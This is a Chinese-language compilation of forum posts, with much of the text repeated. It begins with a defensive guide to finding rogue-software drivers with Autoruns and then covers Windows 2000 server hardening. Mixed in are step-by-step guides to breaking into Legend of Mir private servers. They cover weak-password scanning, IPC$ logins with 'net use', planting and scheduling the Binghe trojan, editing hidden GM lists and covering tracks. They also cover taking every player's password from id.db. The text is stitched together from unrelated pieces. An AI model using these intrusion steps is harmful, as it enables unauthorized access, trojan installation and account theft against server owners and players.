到目前为止,所有流氓软件最终极、最有效的保护办法还是底层驱动级的保护,一般就是在drivers目录下增加一个或多个.sys文件(我也见过一个用rundll32来运行一个.dll作为驱动的),但本质上这个都会在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一个相关的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且将启动级别做得很高,在安全模式下也会自动启动。这个底层的驱动过滤所有的文件以及注册表操作,如果发现是对流氓软件自己的文件/注册表操作,就会直接返回一个true,如果发觉文件被删除,就会通过备份或者网络来下载恢复。它们的保护措施已经做到这一级,普通用户根本没有办法删除相关的文件,一般都需要重启到DOS系统下去删除文件。
这也是很多网友提的为什么文件删除不掉,或者删除了,重启之后,一会儿又出现了,阴魂不散的原因。下面我们的要做的,就是找出来这些流氓软件的后台的驱动保护。
二、为什么找出驱动保护很困难?
Windows的驱动文件一般位于system32\drivers目录下,以.sys文件方式存在,通过注册表的HKLM\SYSTEM\CurrentControlSet\Services\的方式来启动,有一部分属于服务的,可以在Windows的服务的MMC控制窗口里看到。但如果是驱动,则在这里看不到。Windows正式情况下,那个drivers目录下有200个左右的文件,如果偷偷往这个下面塞一个.sys文件,是很难发现的。象著名的3721这类cnsminkp.sys,CNNIC的cdnprot.sys比较容易认识,但现在的很多软件的名字都是不固定的,或者是随机生成的,这样的辨识的难度就很大。我曾经用过的方式有:
1、通过保存文件列表,时常自己手工比较这两个文件,看前后差别多出来的文件肯定有问题
2、通过文件生成的日期。(这点流氓软件也想到了,日期也只能作为参考)
3、通过文件的属性里在的公司信息。早年还行,现在越来越多的流氓软件的驱动冒充是M$的,有的连英文单词都写错了。
4、通过文件夹监视工具。
上面这四种都有一定的缺陷,只能作为参考,都不是太好。并且现在有一些软件通过文件系统隐藏,这些驱动文件,通过资源管理器,根本连看都看不到。
三、如何找出可疑驱动来?
难道没有更好的办法吗?有,应该有的,这个就是我们今天要介绍的主角:Autoruns
介绍:Autoruns是著名的sysinternals出品的一款小软件,它的主要功能是列出系统自启动的项目。通过它,你可以轻易查看到所有系统可能启动的地方,非常的全面。跟流氓软件相关的是“Services(服务)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驱动)“。下面重点介绍Drivers这一部分的功能。
运行Autoruns之后,在它的“Options(选项)”菜单中有两项“Verifiy Code Signatures(验证代码签名)“Hide Signed Microsoft Entries(隐藏已签名的微软项)“,把这两项都选中了。验证代码签名是指验证所有dirvers下的.sys文件的文件签名。Windows下的硬件有一个签名的功能,它是为了保证所有的驱动文件是经过M$测试,符合HAL兼容性。隐藏已签名的微软项,就是把那些合法的隐藏起来。不然200多个,会看着发晕的。
这样Autoruns就会检查所有已经注册成为驱动的项,并且检查所有的.sys的文件数字签名。所有假冒的或者没有通过代码签名的项,都会在这里列出来。也就可以很容易判断这个驱动是不是有问题了。如果有问题的话,可能通过冰刃把里面相关的注册表键值删除,重启机器,这样驱动保护就失效了,然后可以通过文件删除工具来删除其它的文件,完成最后的清理工作。
四、总结
最后再总结一下:
1、流氓软件删除不掉或者死灰复燃,很多时候是因为有驱动或服务保护
2、通过Autoruns找到这些可疑的驱动
3、通过冰刃删除相关驱动健值或者直接用文件粉碎器删除相关的.sys文件,重启驱动就无效
4、清理其它文件,完成善后工作。
以上方法通过各种测试是证明有效的,但不排除将来有更进一步的隐藏手段来躲避Autoruns的检查。但原理是一样的。不过是通过程序来减少工作量。
经常有网友发贴子说文件删除不掉,或者流氓软件清除不了,或者删除了相关的文件,但是马上它又出现了。现在流氓软件为了保护自己,采取的手段是五花八门,无所不用其极:进程保护,交叉感染,自启动,自我恢复,文件隐藏,进程注入,驱动保护。
到目前为止,所有流氓软件最终极、最有效的保护办法还是底层驱动级的保护,一般就是在drivers目录下增加一个或多个.sys文件(我也见过一个用rundll32来运行一个.dll作为驱动的),但本质上这个都会在Windows的HKLM\SYSTEM\CurrentControlSet\Services\下建一个相关的值,如CNNIC建立的就是HKLM\SYSTEM\CurrentControlSet\Services\cdnprot,并且将启动级别做得很高,在安全模式下也会自动启动。这个底层的驱动过滤所有的文件以及注册表操作,如果发现是对流氓软件自己的文件/注册表操作,就会直接返回一个true,如果发觉文件被删除,就会通过备份或者网络来下载恢复。它们的保护措施已经做到这一级,普通用户根本没有办法删除相关的文件,一般都需要重启到DOS系统下去删除文件。
这也是很多网友提的为什么文件删除不掉,或者删除了,重启之后,一会儿又出现了,阴魂不散的原因。下面我们的要做的,就是找出来这些流氓软件的后台的驱动保护。
二、为什么找出驱动保护很困难?
Windows的驱动文件一般位于system32\drivers目录下,以.sys文件方式存在,通过注册表的HKLM\SYSTEM\CurrentControlSet\Services\的方式来启动,有一部分属于服务的,可以在Windows的服务的MMC控制窗口里看到。但如果是驱动,则在这里看不到。Windows正式情况下,那个drivers目录下有200个左右的文件,如果偷偷往这个下面塞一个.sys文件,是很难发现的。象著名的3721这类cnsminkp.sys,CNNIC的cdnprot.sys比较容易认识,但现在的很多软件的名字都是不固定的,或者是随机生成的,这样的辨识的难度就很大。我曾经用过的方式有:
1、通过保存文件列表,时常自己手工比较这两个文件,看前后差别多出来的文件肯定有问题
2、通过文件生成的日期。(这点流氓软件也想到了,日期也只能作为参考)
3、通过文件的属性里在的公司信息。早年还行,现在越来越多的流氓软件的驱动冒充是M$的,有的连英文单词都写错了。
4、通过文件夹监视工具。
上面这四种都有一定的缺陷,只能作为参考,都不是太好。并且现在有一些软件通过文件系统隐藏,这些驱动文件,通过资源管理器,根本连看都看不到。
三、如何找出可疑驱动来?
难道没有更好的办法吗?有,应该有的,这个就是我们今天要介绍的主角:Autoruns
介绍:Autoruns是著名的sysinternals出品的一款小软件,它的主要功能是列出系统自启动的项目。通过它,你可以轻易查看到所有系统可能启动的地方,非常的全面。跟流氓软件相关的是“Services(服务)",“LSA Providers(LSA提供者)”、"Winsock Providers(Winsock提供者)",“Drivers(驱动)“。下面重点介绍Drivers这一部分的功能。
运行Autoruns之后,在它的“Options(选项)”菜单中有两项“Verifiy Code Signatures(验证代码签名)“Hide Signed Microsoft Entries(隐藏已签名的微软项)“,把这两项都选中了。验证代码签名是指验证所有dirvers下的.sys文件的文件签名。Windows下的硬件有一个签名的功能,它是为了保证所有的驱动文件是经过M$测试,符合HAL兼容性。隐藏已签名的微软项,就是把那些合法的隐藏起来。不然200多个,会看着发晕的。
这样Autoruns就会检查所有已经注册成为驱动的项,并且检查所有的.sys的文件数字签名。所有假冒的或者没有通过代码签名的项,都会在这里列出来。也就可以很容易判断这个驱动是不是有问题了。如果有问题的话,可能通过冰刃把里面相关的注册表键值删除,重启机器,这样驱动保护就失效了,然后可以通过文件删除工具来删除其它的文件,完成最后的清理工作。
四、总结
最后再总结一下:
1、流氓软件删除不掉或者死灰复燃,很多时候是因为有驱动或服务保护
2、通过Autoruns找到这些可疑的驱动
3、通过冰刃删除相关驱动健值或者直接用文件粉碎器删除相关的.sys文件,重启驱动就无效
4、清理其它文件,完成善后工作。
以上方法通过各种测试是证明有效的,但不排除将来有更进一步的隐藏手段来躲避Autoruns的检查。但原理是一样的。不过是通过程序来减少工作量。
前几天,本私服也同样遭受过黑客的攻击!但是研究了几次发现了漏洞的所在!
下面我先写如何入侵计算机的,我用的是WINDOWS 2000 SEVER
1 X-SCAN扫描IP 看看谁是弱口令(IP也非常容易得到,私服都有,弱口令就是用户名和密码都是系统默认的,没有改。)
2 打开DOS系统 在DOS下进行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的私服!做GM也好,搞破坏删除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释一下!!这段代码目的很简单就是将D盘拷贝一个传奇GM的列表,你可以把你自己添加进去在编辑!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
这样就可以了。这是利用弱口令进入计算机的方法!!当然了还有更多的方法。
我在讲讲我的 ** 传奇的遭黑的经历!
首先,就是鼠标乱动,很明显就是被人控制了,分析如下:1,中木马,2远程控制!
其次,有文件覆盖的对话框,计算机被突然重新启动!!分析如下:1,破坏系统,2,对传奇的控制!3,从新启动是为了黑客的设置生效!
再次,有非法GM制造物品,以被查出。分析如下:是针对传奇而来!
解决办法:用杀毒软件杀毒,最好在DOS下进行!2,是2000的漏洞太多,查找无用的端口,并关闭3389等,下载 2000 SP3 的补丁!在控制面板中选本地用户和组中关闭GUEST帐号!和 IUSR (计算机名)INTNERNET来宾帐号关闭(我的传奇就是黑客利用这个号进入计算机的),修改超级管理员用户名与密码! 在关闭远程访问等功能,另外,进攻传奇主要是GM列表,我同样也中过,现象是这样的,打开AdminList.txt文件,没有发现多的GM,利用CTRL-A看看有没有多余的GM,另外仔细一看,在看AdminList.TXT的文件名后面有没有空格,设置文件全部显示,会发现是否多了一个隐藏GM列表文件,这也是屡进不止的发现有非法GM的原因.黑客进攻我的计算机是用了2个小时就被我发现了,立即做了相应的修改,恢复了传奇的正常运行,至今为止,仍然有人进入我的来宾帐号的警告,但是已经进不来了!传奇也步入了正常的运行当中!
face=Verdana> 虽然我写了一些如何进攻和防御计算机的方法和解决办法,我自己也觉得有点自相矛盾的想法,但是我的目的很是简单,希望能够帮助你解决你的问题!提高自己计算机的安全
如何在别人的私服做GM?
攻击初级教学
我在侵入别人4f所使用的方法
看到有些4f做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的服务器端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。。。。
其实我所使用的方法很简单,只有4个工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其实就是2000下的dos啦)!
(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 “shed.exe”:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也包含了个人上网的ip.呵呵!一些作网站,网吧的服务器一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不够!有些需要密码。遇到密码怎办?用流光! “流光”虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测,此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。
下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! “冰河”,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为服务器那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且控制他呢? “cmd.exe” 是2000下的dos了,执行cmd.exe 使用net命令,
具体操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该网站admin里的。这里的”ip”就是主机了,“password”就是超级用户的密码,“user”就是超级用户。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程服务器端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧,呵呵!装了防火墙估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿……
第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的服务器时间为准。
第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。
这时我们就可以控制服务器了,
net use * \\ip\*$ 远程映射
看这个
mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。呵呵。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到, mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。呵呵
这里,我把你边走边看加到这个服务器的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入游戏(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去游戏吧,你是gm了,可是真正的gm是不会从服务器端看到你的名字呢!!他也许在想“这里怎么了啊?好像还有个gm???”。呵呵,不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制服务器主机了,比如给他关机啊重启啊····
私服技术我是一点都不懂。不过服务器安全方面还是略懂一二哦!
服务器入侵主要靠的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被黑客扫描到的话,哪么你将会得到一个恐怕的威胁!
当你私服是人气高的时候。给黑客入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
先运行CMD
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administrator
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不安全了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
帐号安全:
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更安全
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!
溢出:
2000服务器版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务(这个就是IIS)你将他开启。上面按停止!这样就进一步安全了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。
RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个防火墙,将135端屏蔽!
大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。安全一定属于你!
入侵传奇私服/充当非法GM
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩游戏,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩传奇时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
打开cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧,
第二天注册个帐号,新建个之前加的人名进去,
/who
当前150人在线
哈,我就是gm了。赶快把自己升级,
@level -1
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,哈哈,好装备到手了,可以玩了
面记得有位朋友对加强对服务器安全性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对服务器的安全配置确实非常困难,考虑的方面也太多了.
今天先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
前面那位朋友所概述的主要是针对WIN2000系统弱口令的安全设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代,口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E-MAIL,PROXY服务器都有这种低级的错误!
如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在黑客软件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的防火墙,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具.比较难得发现,所以你就必须在服务器里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该安全设置好.
下面我都WIN2000的WWW(IIS)服务器安全配置略讲一下,WWW服务在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默认安装的,如果你不需要用2000的WWW服务的话,建议不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在管理工具/服务里设置WORD WIDE WEB SERVICE启动类型为手动/禁用
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的私服,你就必须按以下方法安全配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你服务器运行所占用的CPU资源,和内存使用率.然后建议你删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的。小心呀!
目前在黑客横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口令,像自己架设的WEB服务器有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的安全运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB服务器,我还是建议你去使用AP了.他的源代码开发,免费,安全性稳定性都比IIS强得多了.
下面我先写如何入侵计算机的,我用的是WINDOWS 2000 SEVER
1 X-SCAN扫描IP 看看谁是弱口令(IP也非常容易得到,私服都有,弱口令就是用户名和密码都是系统默认的,没有改。)
2 打开DOS系统 在DOS下进行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的私服!做GM也好,搞破坏删除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释一下!!这段代码目的很简单就是将D盘拷贝一个传奇GM的列表,你可以把你自己添加进去在编辑!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
这样就可以了。这是利用弱口令进入计算机的方法!!当然了还有更多的方法。
我在讲讲我的 ** 传奇的遭黑的经历!
首先,就是鼠标乱动,很明显就是被人控制了,分析如下:1,中木马,2远程控制!
其次,有文件覆盖的对话框,计算机被突然重新启动!!分析如下:1,破坏系统,2,对传奇的控制!3,从新启动是为了黑客的设置生效!
再次,有非法GM制造物品,以被查出。分析如下:是针对传奇而来!
解决办法:用杀毒软件杀毒,最好在DOS下进行!2,是2000的漏洞太多,查找无用的端口,并关闭3389等,下载 2000 SP3 的补丁!在控制面板中选本地用户和组中关闭GUEST帐号!和 IUSR (计算机名)INTNERNET来宾帐号关闭(我的传奇就是黑客利用这个号进入计算机的),修改超级管理员用户名与密码! 在关闭远程访问等功能,另外,进攻传奇主要是GM列表,我同样也中过,现象是这样的,打开AdminList.txt文件,没有发现多的GM,利用CTRL-A看看有没有多余的GM,另外仔细一看,在看AdminList.TXT的文件名后面有没有空格,设置文件全部显示,会发现是否多了一个隐藏GM列表文件,这也是屡进不止的发现有非法GM的原因.黑客进攻我的计算机是用了2个小时就被我发现了,立即做了相应的修改,恢复了传奇的正常运行,至今为止,仍然有人进入我的来宾帐号的警告,但是已经进不来了!传奇也步入了正常的运行当中!
face=Verdana> 虽然我写了一些如何进攻和防御计算机的方法和解决办法,我自己也觉得有点自相矛盾的想法,但是我的目的很是简单,希望能够帮助你解决你的问题!提高自己计算机的安全
如何在别人的私服做GM?
攻击初级教学
我在侵入别人4f所使用的方法
看到有些4f做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的服务器端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。。。。
其实我所使用的方法很简单,只有4个工具:
(一):shed.exe
(二)流光2000
(三)cmd.exe (其实就是2000下的dos啦)!
(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 “shed.exe”:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也包含了个人上网的ip.呵呵!一些作网站,网吧的服务器一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不够!有些需要密码。遇到密码怎办?用流光! “流光”虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测,此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。
下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! “冰河”,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为服务器那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且控制他呢? “cmd.exe” 是2000下的dos了,执行cmd.exe 使用net命令,
具体操作如下:
第一步:net use \\ip\ipc$ “password” /user:”user” 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该网站admin里的。这里的”ip”就是主机了,“password”就是超级用户的密码,“user”就是超级用户。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie
第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程服务器端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对方那边可以察觉出来的吧,呵呵!装了防火墙估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿……
第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的服务器时间为准。
第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。
这时我们就可以控制服务器了,
net use * \\ip\*$ 远程映射
看这个
mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。呵呵。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到, mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。呵呵
这里,我把你边走边看加到这个服务器的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入游戏(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去游戏吧,你是gm了,可是真正的gm是不会从服务器端看到你的名字呢!!他也许在想“这里怎么了啊?好像还有个gm???”。呵呵,不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制服务器主机了,比如给他关机啊重启啊····
私服技术我是一点都不懂。不过服务器安全方面还是略懂一二哦!
服务器入侵主要靠的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被黑客扫描到的话,哪么你将会得到一个恐怕的威胁!
当你私服是人气高的时候。给黑客入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
先运行CMD
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administrator
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不安全了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
帐号安全:
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更安全
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!
溢出:
2000服务器版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务(这个就是IIS)你将他开启。上面按停止!这样就进一步安全了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。
RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个防火墙,将135端屏蔽!
大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。安全一定属于你!
入侵传奇私服/充当非法GM
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩游戏,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩传奇时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
打开cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧,
第二天注册个帐号,新建个之前加的人名进去,
/who
当前150人在线
哈,我就是gm了。赶快把自己升级,
@level -1
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,哈哈,好装备到手了,可以玩了
面记得有位朋友对加强对服务器安全性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对服务器的安全配置确实非常困难,考虑的方面也太多了.
今天先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
前面那位朋友所概述的主要是针对WIN2000系统弱口令的安全设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代,口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E-MAIL,PROXY服务器都有这种低级的错误!
